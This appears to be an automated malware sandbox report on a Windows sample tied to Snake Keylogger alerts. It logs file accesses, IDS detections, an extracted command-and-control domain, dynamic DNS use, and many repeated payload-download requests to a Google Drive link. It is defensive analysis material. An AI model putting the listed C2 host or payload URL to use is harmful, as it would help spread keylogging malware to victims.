Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user	Jump to behavior

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4x nop then mov edx, dword ptr [esp+08h]

4_2_6C5EDE44

Source: excel.exe

Memory has grown: Private usage: 1MB later: 67MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.9:49797 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49865 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49868 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49802 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49804 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49855 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49825 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49813 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49788 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49824 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49891 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49842 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49902 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49789 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49912 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49856 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49814 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49901 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49844 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49890 -> 172.217.18.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.9:49910 -> 172.217.18.14:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: xred.mooo.com

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: Joe Sandbox View

IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4_2_6C914B54 URLDownloadToFileW,

4_2_6C914B54

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=fZA4XEw0IB_O5e5GvvE9ZL61MourSYCLW4n49L-tpYAs5QVL2SSuT-IW2CHvtVC8u_TXQ1NbfC_ymJASow0-5yD5bbl6-5JQobNf0fu6uVZpzjI7nVzUFdgFbVkSalmF1R3Z-YOyhca31ozlkhMmLyLjXTBKKLzeFdtKepte_Mdbpcgn9RZeNQRm
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=fZA4XEw0IB_O5e5GvvE9ZL61MourSYCLW4n49L-tpYAs5QVL2SSuT-IW2CHvtVC8u_TXQ1NbfC_ymJASow0-5yD5bbl6-5JQobNf0fu6uVZpzjI7nVzUFdgFbVkSalmF1R3Z-YOyhca31ozlkhMmLyLjXTBKKLzeFdtKepte_Mdbpcgn9RZeNQRm
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=fZA4XEw0IB_O5e5GvvE9ZL61MourSYCLW4n49L-tpYAs5QVL2SSuT-IW2CHvtVC8u_TXQ1NbfC_ymJASow0-5yD5bbl6-5JQobNf0fu6uVZpzjI7nVzUFdgFbVkSalmF1R3Z-YOyhca31ozlkhMmLyLjXTBKKLzeFdtKepte_Mdbpcgn9RZeNQRm
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
